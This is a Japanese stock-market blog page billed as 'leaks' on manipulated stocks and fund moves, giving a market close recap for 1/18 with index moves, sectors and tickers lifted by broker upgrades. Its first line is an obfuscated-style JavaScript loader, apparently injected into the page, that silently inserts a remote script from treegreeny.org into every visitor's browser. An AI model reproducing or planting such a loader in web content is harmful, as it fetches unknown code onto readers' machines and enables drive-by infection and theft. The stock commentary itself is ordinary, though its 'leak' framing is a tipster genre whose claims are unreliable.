;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/18 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【1/18 大引け】

本日の日経平均株価は191円安と3日続落。ただ、後場から先物主導で下げ幅を縮小。中盤以降はしばらくもみ合ったが上海総合指数上昇などを受け更に下げ幅を縮めた。ただ、一時回復した心理的節目の1万7000円台は維持できず。業種別では、ゴム製品、空運業、食料品の3業種が上昇。一方、情報・通信業、不動産業、鉄鋼、銀行業が値下がり率上位となった。

個別では、2352エイジア、【8789フィンテック グローバル、【3165フーマイスターエレクトロニクスなどの中小型株の一角が急伸、後場一段高。また、野村證券が投資判断で新規「バイ」格付けの【4186東京応化工業、同じく野村から新規買い推奨の【6464】ツバキ・ナカシマ、三菱UFJモルガン・スタンレー証券が目標株価を760円→880円に引き上げた【6641】日新電機なども買い優勢となった。

先週末急落のテーマ株からはフィンテック関連から【3853】インフォテリア、【2315】SJI、【3691】リアルワールドなど反発し、民泊関連の【8889】アパマンショップも6日ぶりの反発、買い優勢となった。

値動きが活発な銘柄を集中的に売買する流れは変わらず。思ったよりは個人投資家の投資意欲は衰えないはいない印象を受けた。テーマ株の一部も早速切り返し動きを見せており、明日も短期売買を中心した物色の波は継続しそうだ。